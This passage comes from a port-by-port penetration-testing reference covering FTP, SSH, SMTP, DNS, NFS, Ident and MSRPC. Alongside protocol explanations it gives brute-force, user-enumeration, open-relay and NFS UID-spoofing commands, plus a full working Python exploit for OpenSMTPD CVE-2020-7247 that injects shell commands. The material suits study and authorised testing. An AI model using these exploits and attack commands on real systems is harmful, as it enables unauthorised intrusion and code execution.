ftp> get <REMOTE_FILE> [<LOCAL_NAME>]

# Downloads the files matching the specified regex.
ftp> mget <* | *.txt | ...>

# Uploads the specified file.
ftp> put <LOCAL_FILE> [<REMOTE_NAME>]

# Uploads the files matching the specified regex.
ftp> mput <* | *.txt | ...>
```

**\[Linux] Recursive FTP download using wget**

The `wget` utility can be used to recursively download every files from a given FTP server:

```
wget --mirror ftp://anonymous:nopass@<IP>:<PORT>
wget --mirror ftp://<USER>:<PASSWORD>@<IP>:<PORT>

# The --no-passive option can be used to disable passive mode for FTP connections failing after the PASV command.
wget --no-passive --no-parent --mirror ftp://<USER>:<PASSWORD>@<IP>:<PORT>
```

**\[Linux | Windows] FileZilla**

[`FileZilla`](https://filezilla-project.org/) is a cross-platforms, open source and feature-rich client with a graphical user interface that support the `FTP`, `FTPS`, and `SFTP` protocols.

***

### References

<https://linux.die.net/man/1/ftp>


# 22 - SSH

### Network scan

[`nmap`](https://nmap.org/) can be used to scan the network for `SSH` services:

```
nmap -v -p 22 -A -oA nmap_ssh <IP | RANGE | CIDR>
```

### User enumeration (CVE-2018-15473)

The `OpenSSH` service for all versions < `7.7` are vulnerable to oracle username enumeration.

The Python script [`sshUsernameEnumExploit`](https://github.com/Rhynorater/CVE-2018-15473-Exploit) as well as the `Metasploit` module `auxiliary/scanner/ssh/ssh_enumusers` can be used to validate the presence of a system user:

```
# [--threads <THREADS>] - Default to 5. If more than 10 are used, the OpenSSH service often gets overwhelmed
# [--outputFile <OUTPUTFILE>] [--outputFormat <{list,json,csv}>]
sshUsernameEnumExploit.py [--port PORT]  (--username <USERNAME> | --userList <USERLIST>) <HOST>

msf> use auxiliary/scanner/ssh/ssh_enumusers
```

### Supported authentication methods

**Authentication methods overview**

The following authentication methods are possible:

* `password authentication`: simple request for a single password with no specific prompt.
* `keyboard interactive`: more complex request for arbitrary number of pieces of information. Can be hooked to two-factor (or multi-factor) authentications (PAM, Kerberos, etc.).
* `public key authentication`: clients must provide a public key in the list of allowed keys on the server and encrypts a certain data packet using the private key. The public key authentication method is the only method that both client and server software are required to implement.
* `host-based authentication`: host-based authentication is used to restrict client access only to certain hosts. This method is similar to public key authentication; however, the server additionally maintains a list of hosts mapped to their public keys and will only accept connection with the keys from the pre recorded host.

**Supported authentication methods enumeration**

A verbose connection attempt will display the authentication methods supported by the server (under `debug1: Authentications that can continue:`):

```
ssh -vvv <HOST>
```

The authentication methods supported by given `SSH` servers can also be enumerated more automatically using the `nmap`'s `ssh-auth-methods` `NSE` script:

```
nmap -v -Pn -sT -p 22 -sV --script ssh-auth-methods --script-args="ssh.user=<root | USERNAME>" [-iL <INPUT_FILE> | <IP | RANGE | CIDR>]
```

**Legacy DSA public key authentication**

To connect to a server using `DSA` keys with a modern `OpenSSH` client, the `PubkeyAcceptedKeyTypes +ssh-dss` option must be added to the client config:

```
echo 'PubkeyAcceptedKeyTypes +ssh-dss' > ~/.ssh/config
```

If the client is not correctly configured, the following debug error message will be returned during the authentication process:

```
debug1: Skipping ssh-dss key ... - not in PubkeyAcceptedKeyTypes
```

### Authentication brute force

**Password & keyboard interactive authentication**

The [`patator`](https://github.com/lanjelot/patator) multi-purpose brute-forcer or the `auxiliary/scanner/ssh/ssh_login` `metasploit` module can be used to brute force credentials through the `password` and `keyboard interactive` authentication methods:

```
# auth_type: auth type to use <password|keyboard-interactive>
patator ssh_login host=<HOST> user=<USERNAME> password=<PASSWORD> -x ignore:mesg='Authentication failed.'
patator ssh_login host=<HOST> user=FILE0 password=FILE1 0=<WORDLIST_USER> 1=<WORDLIST_PASSWORD> -x ignore:mesg='Authentication failed.'

msf> auxiliary/scanner/ssh/ssh_login
```

**publickey authentication spraying**

The `Metasploit`'s `auxiliary/scanner/ssh/ssh_login_pubkey` module and the Python script [`crowbar`](https://github.com/galkan/crowbar) can be used to brute force `SSH` keys.

While an exhaustive attack is not possible, the key based brute force can be used for lateral movement once a private key could be compromised.

```
msf5 > use auxiliary/scanner/ssh/ssh_login_pubkey

python crowbar.py -b sshkey (-u <USERNAME> | -U USERNAME_FILE) -k <KEY_FILE | KEY_FOLDER> -s <CIDR>
```

A repository of static authorized SSH keys "hardcoded" into software and hardware products is available in the [`ssh-badkeys` GitHub repository](https://github.com/rapid7/ssh-badkeys).

### Known vulnerabilities

**OpenSSL Predictable PRNG (CVE-2008-0166)**

Due to a default of implementation of the seeding process in the `OpenSSL` package, all `SSL` and `SSH` keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 are cryptographically weak.

All possible combination of public / private RSA (2048 and 4096 bits) and DSA (1024 bits) keys can be downloaded here:

```
https://github.com/g0tmi1k/debian-ssh/tree/master/common_keys
https://github.com/g0tmi1k/debian-ssh/tree/master/uncommon_keys
```

To retrieve a private key if its public counterpart could somehow be extracted from the server (`/root/.ssh/authorized_keys` or `/home/<USERNAME>/.ssh/authorized_keys` through LFI or file system disclosure, etc.):

```
# Only take the base64 content of the public key in format PEM
grep -rl <KEY> <FOLDER_RSA|FOLDER_DSA>
```

### SSH clients

**\[Windows] PuTTY**

[`PuTTY`](https://www.putty.org/) is a simple `SSH`, as well as `telnet`, `rlogin` and `serial`, GUI client for Microsoft Windows, available as an installed program and a standalone binary.

**\[Linux] parallel-ssh**

The [`parallel-ssh` / `pssh`](https://github.com/ParallelSSH/parallel-ssh) command-line utility can be used to execute operating system commands through `ssh` on multiple hosts. The utility will return for each host the `return code` of the provided command.

The option `-x '-q -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownHostsFile=/dev/null'` can be provided to bypass the verification of the target host key and prevent the saving of the host key.

```
# apt install pssh

# -i: displays the standard output and standard error of each SSH execution. By default, the outputs are not displayed.
# --inline-stdout: displays (only) the standard output of each SSH execution.
# -o <OUTPUT_DIR>: outputs the standard output of each SSH execution in a dedicated file (format: [<USERNAME@>]<HOSTNAME | IP>[:<PORT>][.num]) in the specified folder.
# -A: prompts for the user password (once for all of the specified hosts). By default, a authentication through SSH keys will be conducted.
# -t <0 | NUMBER_SECONDS>: allowed execution timeout in seconds prevent timeout of the execution, which can be necessary for
parallel-ssh [-i | --inline-stdout] [-o <OUTPUT_DIR>] [-A] -l "<USERNAME>" [-h <HOSTFILE> | -H "<HOSTNAME | IP>[:<PORT>] [<HOSTNAME | IP>[:<PORT>]]"] <COMMAND>
parallel-ssh [-i | --inline-stdout] [-o <OUTPUT_DIR>] [-A] [-h <HOST_FILE> | -H "[<USERNAME>@]<HOSTNAME | IP>[:<PORT>] [[<USERNAME>@]<HOSTNAME | IP>[:<PORT>]]"] <COMMAND>

# Bypass host keys verification and prevents the saving of the hosts keys.
parallel-ssh -x '-q -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownHostsFile=/dev/null' [...]

# Execute the specified with elevated rights through sudo using the provided password.
# The first option is more secure as it does not leave any trace of the password on either the local or remote host but operational problems may arise.
stty -echo; printf "sudo password: "; read PASS; stty echo; echo "${PASS}" | parallel-ssh [...] "sudo -S <COMMAND>"
parallel-ssh [...] "echo <SUDO_PASSWORD> | sudo -S <COMMAND>"
```


# 25 - SMTP

### Overview

The `Simple Mail Transfer Protocol (SMTP)` protocol is an Internet standard for electronic email transmission. The `SMTP` protocol operates at the `Application Layer (L7)` layer of the `OSI` model.

First defined by [`RFC 821`](https://datatracker.ietf.org/doc/html/rfc821) in 1982, it was last updated in 2008 with `Extended SMTP` additions in the [RFC 5321](https://datatracker.ietf.org/doc/html/rfc5321), which is the protocol in widespread use today.

Although electronic mail servers and other mail transfer agents use `SMTP` to send and receive mail messages, user-level client mail applications typically only use `SMTP` for sending messages to a mail server for relaying. For retrieving messages, client applications usually use either the `IMAP` or `POP3` protocols.

`SMTP` communication between mail servers is conducted over the `TCP` port 25. Mail clients on the other hand, often submit the outgoing emails to a mail server on `TCP` port 587.

For secure transmission that protect, through encryption using cryptographic protocols, `SMTP` can be secured with an additional `SSL`/`TLS` layer (`SMTPS`). Such connections can be made using the `STARTTLS` command.

Although proprietary systems (such as Microsoft Exchange and IBM Notes) and webmail systems (such as Outlook.com, Gmail and Yahoo! Mail) use their own non-standard protocols to access mail box accounts on their own mail servers, all use `SMTP` when sending or receiving email from outside their own systems.

#### SMTP COMMANDS

A client communicates with an `SMTP` server (e-mail server) by using `SMTP` commands:

* a core list of `SMTP` commands that all `SMTP` servers supports.
* extended `SMTP` commands (also called `ESMTP commands`) to allow more flexibility and additional features are also supported by most `SMTP` servers. In official documentation, these `ESMTP` commands are also referred to as `SMTP` service extensions.

**Basic SMTP commands**

`HELO (Hello)`

The client sends this command to the `SMTP` server to identify itself and initiate the `SMTP` conversation. The domain name or IP address of the SMTP client is usually sent as an argument together with the command (e.g. `HELO client.example.com`). If a domain name is used as an argument with the `HELO` command, it must be a fully qualified domain name (also called FQDN).

`MAIL FROM`

Specifies the e-mail address of the sender. This command also tells the `SMTP` server that a new mail transaction is starting and makes the server to reset all its state tables and buffers etc. This command is usually sent as the first command after the identifying and login process. If the senders e-mail address is accepted the server will reply with a 250 OK reply code.

```
Example:
C: MAIL FROM:<mail@samlogic.com>
S: 250 OK
```

`RCPT TO (Recipient To)`

Specifies the e-mail address of the recipient. This command can be repeated multiple times for a given e-mail message in order to deliver a single e-mail message to multiple recipients.

```
Example:
C: MAIL FROM:<mail@samlogic.com>
S: 250 OK
C: RCPT TO:<john@mail.com>
S: 250 OK
C: RCPT TO:<peggy@mail.com>
S: 250 OK
```

`DATA`

The DATA command starts the transfer of the message contents (body text, attachments etc). After that the DATA command has been sent to the server from the client, the server will respond with a 354 reply code. After that, the message contents can be transferred to the server. When all message contents have been sent, a single dot (“.”) must be sent in a line by itself. If the message is accepted for delivery, the `SMTP` server will response with a 250 reply code.

```
Example:
C: DATA
S: 354 Send message content; end with <CRLF>.<CRLF>
C: Date: Thu, 21 May 2008 05:33:29 -0700
C: From: SamLogic <mail@samlogic.com>
C: Subject: The Next Meeting
C: To: john@mail.com
C:
C: Hi John,
C: The next meeting will be on Friday.
C: /Anna.
C: .
S: 250 OK
```

`RSET (Reset)`

If the RSET command is sent to the e-mail server the current mail transaction will be aborted. The connection will not be closed (this is reserved for the QUIT command, see below) but all information about the sender, recipients and e-mail data will be removed and buffers and state tables will be cleared.

`VRFY (Verify)`

This command asks the server to confirm that a specified user name or mailbox is valid (exists). If the user name is asked, the full name of the user and the fully specified mailbox are returned. In some e-mail servers the VRFY command is ignored because it can be a security hole. The command can be used to probe for login names on servers. Servers that ignore the VRFY command will usually send some kind of reply, but they will not send the information that the client asked for.

`NOOP (No operation)`

The NOOP command does nothing else than makes the receiver to send an OK reply. The main purpose is to check that the server is still connected and is able to communicate with the client.

`QUIT`

Asks the server to close the connection. If the connection can be closed the servers replies with a 221 numerical code and then is the session closed.

**Extended SMTP (ESMTP) Commands**

If a client initiates the `SMTP` communication using an EHLO (Extended Hello) command instead of the HELO command some additional `SMTP` commands are often available. They are often referred to as Extended `SMTP` (ESMTP) commands or `SMTP` service extensions. Every server can have its own set of extended `SMTP` commands. After the client has sent the EHLO command to the server, the server often sends a list of available ESMTP commands back to the client.

`EHLO (Extended Hello)`

Same as HELO but tells the server that the client may want to use the Extended SMTP (ESMTP) protocol instead. EHLO can be used although you will not use any ESMTP command. Servers that do not offer any additional ESMTP commands will normally at least recognize the EHLO command and reply in a proper way.

`AUTH (Authentication)`

The AUTH command is used to authenticate the client to the server. The AUTH command sends the clients username and password to the e-mail server. AUTH can be combined with some other keywords as PLAIN, LOGIN and CRAM-MD5 (e.g. AUTH LOGIN) to use different login methods and different levels of security.

```
Example:
S: 220 smtp.server.com Simple Mail Transfer Service Ready
C: EHLO client.example.com
S: 250-smtp.server.com Hello client.example.com
S: 250-SIZE 1000000
S: 250 AUTH LOGIN PLAIN CRAM-MD5
C: AUTH LOGIN
S: 334 VXNlcm5hbWU6
C: adlxdkej
S: 334 UGFzc3dvcmQ6
C: lkujsefxlj
S: 235 2.7.0 Authentication successful
```

After that the AUTH LOGIN command has been sent to the server, the server asks for username and password by sending BASE64 encoded text (questions) to the client. “VXNlcm5hbWU6” is the BASE64 encoded text for the word "Username" and “UGFzc3dvcmQ6” is the BASE64 encoded text for the word "Password" in the example above. The client sends username and password also using BASE64 encoding ("adlxdkej", in the example above, is a BASE64 encoded username and "lkujsefxlj" is a BASE64 encoded password).

`STARTTLS (Start Transport Layer Security)`

E-mail servers and clients that uses the `SMTP` protocol normally communicate using plain text over the Internet. To improve security, an encrypted TLS (Transport Layer Security) connection can be used when communicating between the e-mail server and the client. TLS is most useful when a login username and password (sent by the AUTH command) needs to be encrypted. TLS can be used to encrypt the whole e-mail message, but the command does not guarantee that the whole message will stay encrypted the whole way to the receiver; Some e-mail servers can decide to send the e-mail message with no encryption. But at least the username and password used with the AUTH command will stay encrypted.

```
Example combining the STARTTLS and AUTH LOGIN command to make a secure login to
an e-mail server:
S: 220 smtp.server.com Simple Mail Transfer Service Ready
C: EHLO client.example.com
S: 250-smtp.server.com Hello client.example.com
...
C: STARTTLS
S: 220 TLS go ahead
C: EHLO client.example.com
S: 250-smtp.server.com Hello client.example.com
S: 250-SIZE 1000000
S: 250-AUTH LOGIN PLAIN CRAM-MD5
S: 250 HELP
C: AUTH LOGIN
S: 334 VXNlcm5hbWU6
C: adlxdkej
S: 334 UGFzc3dvcmQ6
C: lkujsefxlj
S: 235 2.7.0 Authentication successful
```

The client sends the EHLO command again to the e-mail server and starts the communication from the beginning, but this time the communication will be encrypted until the QUIT command is sent.

`SIZE`

The SIZE command has two purposes: the `SMTP` server can inform the client what is the maximum message size and the client can inform the `SMTP` server the (estimated) size of the e-mail message that will be sent. The client should not send an e-mail message that is larger than the size reported by the server, but normally it is no problem if the message is somewhat larger than the size informed by the client to the server.

`HELP`

This command causes the server to send helpful information to the client, for example a list of commands that are supported by the `SMTP` server.

### SMTP client

**Manual sender**

The `telnet` or `netcat` utilities can be used to send mail through a SMTP service:

```
telnet/nc <IP> <PORT>
HELO <DOMAIN>
334 VXNlcm5hbWU6
<BASE64_USERNAME>
334 UGFzc3dvcmQ6
<BASE64_PASSWORD>
235 authenticated.
MAIL FROM:<USERNAME>@<DOMAIN>
RCPT TO:<USERNAME>@<DOMAIN>
<DATA>
.
```

The `telnet` or `netcat` utilities do not support the use of SSL / TLS. If the SMTP service requires the use of the SSL / TLS layer, for instance for services exposed on the TCP port 587, the `openssl` utility can be used as basic SMTP client:

```
openssl s_client -starttls smtp -crlf -connect <HOSTNAME | IP>:<PORT>
```

A `SMTP` service exposed on the TCP port 25 may also require the use of the SSL / TLS by only supporting the `STARTTLS` `SMTP` command:

```
telnet <HOSTNAME | IP> <PORT>

EHLO
[...]
250-SIZE X
250-STARTTLS
250 OK
```

**Automated sender**

The `sendemail` utility can be used to send emails, optionally with file attachment(s), through an exposed `SMTP` service:

```
sendemail -t <RCPT_EMAIL> -f <FROM_EMAIL> -u '<MAIL_SUBJECT>' -m '<MAIL_BODY>' -s <SMTP_SERVER>[:<SMTP_PORT> [-a <FILE> [<FILE2> ...]]
```

### User Enumeration

The `EXPN`, `VRFY` and `RCPT` commands can be used, if they have not been disabled, to enumerate valid username.

The `EXPN` command is used to reveal the actual address of users aliases and lists of email. The `VRFY` command can confirm the existence of names of valid users.

The enumeration can be conducted manually using the `telnet` or `netcat` utilities or automatically using `Metasploit`, `nmap` or `smtp-user-enum`.

**Manual enumeration**

The following commands can be used to check if the `EXPN`, `VRFY` and `RCPT` commands are available and to manually enumerate valid usernames and emails:

```
telnet/nc <IP> <PORT>
...

---

EXPN <USERNAME>
-> 250 2.1.5 <USERNAME@DOMAIN>
-> 550 5.1.1 <USERNAME>... User unknown

---

VRFY <USERNAME>
-> 250 2.1.5 <USERNAME@DOMAIN>
-> 550 5.1.1 <USERNAME>... User unknown

---

MAIL FROM: fake@localhost.com
RCPT TO: <USERNAME>
-> 250 2.1.5 <USERNAME>... Recipient ok
-> 550 5.1.1 <USERNAME>... User unknown

---
```

**Automatic enumeration**

The `smtp-user-enum` can be used to automatically enumerate usernames:

```
smtp-user-enum [-M EXPN/VRFY/RCPT ] ( -u username | -U file-of-usernames ) ( -t host | -T file-of-targets )
```

The following bash one-liner may be used as well to automatically enumerate usernames:

```
for x in $(cat <USERFILE>); do echo VRFY $x | nc -nv -w 1 <TARGET> <PORT> 2>/dev/null | grep ^’250’; done
```

The `smtp-enum-users` `nmap` script and the `auxiliary/scanner/smtp/smtp_enum` `Metasploit` module can be used as well.

### Open relay

An `SMTP` server that works as an open relay, is a email server that does not verify if the user is authorized to send email from the specified email address. Therefore, users would be able to send email originating from any third-party email address.

While fully open relay is not that usual, "Partially Open Mail Relay" are more common.\
This occurs when the mail relay can be used to do one of the following:

* email from an external source address to an internal destination address ;
* email from an internal source address to an internal destination address.

**Manual exploitation**

the following commands can be used to manually exploit an open relay SMTP server:

```
telnet/nc <IP> <PORT>
HELO
# HELO <DOMAIN>
MAIL FROM:<USERNAME>@<CURRENT_DOMAIN>
RCPT TO:user@otherdom.com
DATA
.
```

If relaying is not permitted, the server should respond with an error message "Relaying denied".

**Automatic detection and exploitation**

The `smtp-open-relay.nse` `nmap` script can be used to detect open relay.

The `scanner/smtp/smtp_relay` `Metasploit` module can be used to exploit a misconfigured server.

### Known vulnerabilities

**LPE and RCE in OpenSMTPD (CVE-2020-7247)**

Due to a default in the way shell metacharacters are filtered, a vulnerability arise in `OpenBSD Simple Mail Transfer Protocol Daemon (OpenSMTPD) < 6.6.2`. `OpenSMTPD` was initially developed for OpenBSD but is currently used by others distros : FreeBSD, Debian, Ubuntu, Fedora, RHEL, etc.

The vulnerability permit the execution of code as root:

* either locally if `OpenSMTPD` listens on the loopback interface and only accepts mail from localhost (default configuration)
* or both locally and remotely, if `OpenSMTPD` listens on all interfaces and accepts external mail

More information about the vulnerability specifics: `https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt`.

The following Proof of Concept exploit code can be used to exploit the vulnerability:

```
# Source : https://www.exploit-db.com/exploits/47984

# Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution
# Date: 2020-01-29
# Exploit Author: 1F98D
# Original Author: Qualys Security Advisory
# Vendor Homepage: https://www.opensmtpd.org/
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1
# Version: OpenSMTPD < 6.6.2
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2020-7247
# References:
# https://www.openwall.com/lists/oss-security/2020/01/28/3
#
# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately
# escape dangerous characters from user-controlled input. An attacker
# can exploit this to execute arbitrary shell commands on the target.
#
#!/usr/local/bin/python3

from socket import *
import sys

if len(sys.argv) != 4:
    print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0]))
    print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0]))
    sys.exit(1)

ADDR = sys.argv[1]
PORT = int(sys.argv[2])
CMD = sys.argv[3]

s = socket(AF_INET, SOCK_STREAM)
s.connect((ADDR, PORT))

res = s.recv(1024)
if 'OpenSMTPD' not in str(res):
    print('[!] No OpenSMTPD detected')
    print('[!] Received {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] OpenSMTPD detected')
s.send(b'HELO x\r\n')
res = s.recv(1024)
if '250' not in str(res):
    print('[!] Error connecting, expected 250')
    print('[!] Received: {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] Connected, sending payload')
s.send(bytes('MAIL FROM:<;{};>\r\n'.format(CMD), 'utf-8'))
res = s.recv(1024)
if '250' not in str(res):
    print('[!] Error sending payload, expected 250')
    print('[!] Received: {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] Payload sent')
s.send(b'RCPT TO:<root>\r\n')
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')
```


# 53 - DNS

### Overview

The Domain Name System (DNS) is a hierarchical decentralized naming system for computers, services, or other resources connected to the Internet or a private network.

It associates various information with domain names assigned to each of the participating entities. Most prominently, it translates more readily memorized domain names to the numerical IP addresses needed for locating and identifying computer services and devices with the underlying network protocols.

By providing a worldwide, distributed directory service, the Domain Name System has been an essential component of the functionality of the Internet since 1985.

**DNS record types**

The main DNS record types are:

| Type   | Description               |
| ------ | ------------------------- |
| `A`    | IPv4 Address record       |
| `AAAA` | IPv6 Address record       |
| `NS`   | Name Server record        |
| `SOA`  | Master Name Server record |
| `MX`   | Mail Exchange record      |
| `TXT`  | Arbitrary Text record     |

### Authority domain servers

To retrieve the `Domain Name System (DNS)` servers having authority over a specific domain, the following command be used:

```
host -t ns <DOMAIN>

dig -t NS +short <DOMAIN>
```

### DNS lookup

To resolve the IP associated to a Domain/Fully Qualified Domain Name:

```
dig +short <FQDN>

host <DOMAIN/FQDN>
```

The following commands can be used to retrieve specific DNS records associated with a domain:

```
# Relies on ANY, which is often blocked or filtered, to query all records
dig +nocmd +noall +answer <target_domain> ANY

# A/AAAA/NS/SOA/MX/TXT
dig +nocmd +noall +answer <DOMAIN> <RECORDTYPE>
```

### Reverse DNS lookup

To resolve the Domain/Fully Qualified Domain Name associated to an IP address:

```
dig +short -x <IP>
dig +short @<NAMESERVER> -x <IP>

host <IP>
host <IP> <NAMESERVER>

nmap -sn -Pn --dns-servers <NAMESERVER> (<IP> | <FQDN> | <CIDR> | <RANGE>)
```

### DNS zone transfers

A zone transfer is similar to a database replication act between related DNS servers. This process includes the copying of the zone file from a master DNS server to a slave server. Zone transfers should usually be limited to authorized slave DNS servers (by IP source or protected by a TSIG key) but a misconfigured DNS server could be allowing zone transfer from anyone.

The following commands can be used to test for zone transfers:

```
dig -t AXFR @<NAMESERVER> <DOMAIN>

host -l <DOMAIN> <NAMESERVER>
```

The `DNSRecon` and `DNSenum` tools can be used to enumerate nameservers for a domain and try a zone transfer for each enumerated nameserver:

```
dnsrecon -a -d <DOMAIN>
dnsrecon -a -n <NAMESERVER> -d <DOMAIN>

dnsenum <DOMAIN>
dnsenum --dnsserver <NAMESERVER> <DOMAIN>
```

### DNS zone walking

Due to a design flaw in the NSEC records used by `Domain Name System Security Extensions (DNSSEC)`, it may be possible to discover all subdomains of a particular domain for which `NSEC` records are available.

`DNSSEC` is a number of security oriented specifications for DNS aiming at securing the DNS protocol against a number of attacks, including the spoofing and poising of records as well as man-in-the-middle attacks.

The integrity of DNS records is ensured by storing a digital signature associated to a specific record, in a `RRSIG` record. The DNS resolver retrieves the queried record along with its digital signature, and can afterward query the DNS server for the public key, stored in a `DNSKEY` record.

The `NSEC` and `NSEC3` record types are defined in `DNSSEC` to handle the case of inexistent records. As a non inexistent record cannot be digitally signed, the need arise to securely inform the DNS resolver that the queried record does not exist. `NSEC` records work by returning the "Next Secure" record stored alphabetically in the zone, meaning a enumeration of all defined domains is possible using the `NSEC` records of a zone. `NSEC3` addresses this issue, by returning salted hashes of domain names instead of directly returning the domain name.

The `DNSRecon` tool can be used to conduct DNS zone walking:

```
dnsrecon -t zonewalk -d <DOMAIN>
```

### Forward lookup brute force

Forward lookup brute force consist of guessing valid names, from a wordlist, of servers by attempting to resolve a given name. If the guessed name does resolve, the results might indicate the presence and even functionality of the server.

**Subdomains wordlists**

The following wordlists of subdomains can be used:

```
# bitquark - Top 1000 to 1.000.000.
https://github.com/bitquark/dnspop/tree/master/results

# dnsscan - Top 100 to 10.000.
https://github.com/rbsec/dnscan

# SecList - 2.178.752 entries.
SecLists/Discovery/DNS/jhaddix-dns.txt
```

A custom wordlist based on already discovered subdomains or specific keywords can also be generated using [`Altdns`](https://github.com/infosec-au/altdns):

```
altdns -i <INPUT_SUBDOMAINS_FILE> -w <words.txt | INPUT_KEYWORDS_FILE> -o <OUTPUT_WORDLIST>
```

**DNS brute force tooling**

[`MassDNS`](https://github.com/blechschmidt/massdns) can be used for fast `DNS` brute forcing using multiple resolvers. The `subbrute.py` Python script provided in the `MassDNS` repository can first be used to generate a list of subdomains, from a specified subdomains wordlist and root domains list, to resolve with `MassDNS`.

```
python3 ./scripts/subbrute.py -d <DOMAIN_FILE> <SUBDOMAIN_WORDLIST> | ./bin/massdns -r <lists/resolvers.txt | RESOLVERS_FILE> -t A -o S -w <OUTPUT_RESULT>
```

The additional following tools can be used to conduct automated forward lookup brute force:

```
# Subbrute.
python subbrute.py -v <DOMAIN>
python subbrute.py -v -s <WORDLIST> -c <THREADS> <DOMAIN>

# echo "<NAMESERVER>" > tmp_resolver.txt.
python subbrute.py -v -r tmp_resolver.txt -s <WORDLIST> -c <THREADS> <DOMAIN>

# Gobuster.
gobuster -m dns -w <WORDLIST> -t <THREADS> -i -u <DOMAIN>

Amass / dnscan / Nmap / Recon-Ng / DNSRecon / Fierce / DNSenum / AltDNS / ...
```

### Reverse Lookup Brute Force

If the `PTR records`, used for mail services, are configured for the domain, reverse lookup brute force may possible.

If the DNS forward brute-force enumeration revealed a set of scattered IP addresses, the following bash one liner can be used to conduct a reverse lookup brute force:

```
for ip in $(seq <0> <255>);do host <x.x.x>.$ip;done |grep -v "not found"
```

***

### References

<https://medium.com/iocscan/how-dnssec-works-9c652257be0>


# 111 / 2049 - NFS

### Overview

The Network File System (NFS) is a distributed file system protocol, built on Remote Procedure Call (RPC) and used to share folders and files between computers.

NFS is often used with Unix and Unix-like operating systems. For NFS before version 4, the user id and group id of the client system are sent in each RPC call, and the permissions these IDs have on the file being accessed are checked on the server.

### Network scan and mount points enumeration

The following tools can be used to scan the network for NFS services and enumerate their exposed mount points:

```
nmap -v -p 111,2049 -sV --script=nfs-showmount.nse -oA nmap_nfs <RANGE | CIDR | HOSTNAME | IP>
msf> use auxiliary/scanner/nfs/nfsmount

showmount --exports <HOSTNAME | IP>
```

### Mount shares

The Linux utility `mount` can be used to mount a NFS share:

```
mkdir /tmp/NFS_SHARE

mount -t nfs <HOSTNAME | IP>:<SHARE> /tmp/NFS_SHARE

# Confirm the mounted share
df -k | grep NFS_SHARE
```

If the following error message is being returned by the `mount` utility, the `nfs-common` package must be locally installed on the client system.

```
mount: /tmp/NFS_SHARE: bad option; for several filesystems (e.g. nfs, cifs) you might need a /sbin/mount.<type> helper program.
```

### ID spoofing

For NFS before version 4, the server files access permissions are based on the client system current user id and group id. `UID` and `GUID` can thus be spoofed to access any directories and files exposed on the NFS export.

The server may use the `root_squash` mechanism that will make any requests using the `UID` or `GID` 0 (root) to be treated like the nobody user.

```
# Inside mounted folder
ls -lah
-> drwxr-xr--  3 <UID> <GID>  [...] dir_or_file

useradd -u <UID> tmp_user
su tmp_user

# OR
groupadd -r -g <GID> tmp_group
useradd -G tmp_group <USERNAME>
```

The `NfSpy` python script can be used to automate the process, with the advantage of hiding the access by immediately unmounting the share on the server but keeping the file handle:

```
nfspy -o server=<HOSTNAME | IP>:<SHARE>,hide,allow_other,ro,intr /tmp/NFS_SHARE
```

### Connected users enumeration

The Linux utility `showmount` can be used to retrieve the active and currently mounted shares and theirs clients:

```
showmount --all <HOSTNAME | IP>
```


# 113 - Ident

The Ident Protocol (Identification Protocol) is a protocol that helps identify the user of a particular TCP service.

The Ident service can be queried to retrieve the username of the user who runs the program that uses the specified TCP port.

An exposed Ident service can be useful to identity services running under high privileges.

### Network scan

Nmap automatically query the Ident service, if exposed on the host, during ports scan and specify the user running the service with "auth-owners".

```
nmap -v -p 113 -A <IP | RANGE | CIDR>
```

### Ident query

The python script identi.py can be used to manually query the Ident service:

```
identi.py [-h] [-q QUERY_PORT [QUERY_PORT ...]] [-p PORT] [-a] [-v] <HOST>

# Specified ports
identi.py <HOST> -q <PORT1> <PORT2> ...

# All ports
identi.py -a <HOST>
```


# 135 - MSRPC

### Overview

The `Microsoft Remote Procedure Call (MSRPC)` protocol is a modified and proprietary version of the `Remote Procedure Call (RPC)`. Similarly to the `RPC` protocol, the `MSRPC` protocol implements a client-server model, in order to allow one program, the `RCP` client, to interact with another program, the `RPC` server, alternatively denominated service. The client and server may be running on the same system or on two distinct and remote systems.

Among others, the proprietary Microsoft `Distributed Component Object Model (DCOM)` technology, used for communication between Microsoft software components - `Component Object Model (COM)` objects - on networked computers, extensively uses the `MSRPC` protocol as the underlying communication protocol.

`RPC` services listen for remote procedure call requests over one, or more, protocol-specific `endpoints`, which can either be:

* `well-known endpoints`, pre-assigned to a stable address for a particular RPC service
* `dynamic endpoints`, registered at runtime to the `RPC Endpoint Mapper (RpcEptMapper)` service by services and programs which need to expose a RPC service

The `RPC` `endpoint` structure depends on the underlying network services / transport layer protocol in use. Microsoft defines a number of `RPC protocol sequence strings`, that correspond to valid combinations of a `RPC` protocol, a network layer protocol, and a transport layer protocol:

* `ncalrpc`: local `RPC`, used for local communication between processes
* `ncacn_ip_tcp` and `ncacn_ip_udp`: `RPC` directly over the `TCP` and `UDP` transport layer protocols on the `IP` protocol
* `ncacn_np`: `RPC` over `SMB` named pipes (usually on `TCP` ports 139 or 445)
* `ncacn_http`: `RCP` over the `HTTP` protocol
* `ncacn_nb_tcp` : `RPC` over `NetBIOS` (usually on `TCP` port 135)
* \[...]

Based on the `RPC protocol sequence`, a `RPC` endpoint may take the following format:

* `ncalrpc:[<APPLICATION_NAME>]`
* `ncacn_np:<IP | HOSTNAME>[\pipe\<NAMED_PIPE>]` / `ncacn_np:\\<IP | HOSTNAME>[\pipe\<NAMED_PIPE>]`
* `ncacn_ip_tcp:<IP | HOSTNAME>[<TCP_PORT>]`
* `ncacn_ip_udp:<IP | HOSTNAME>[<UDP_PORT>]`
* `ncacn_http:<IP | HOSTNAME>[<HTTP_PORT>]`

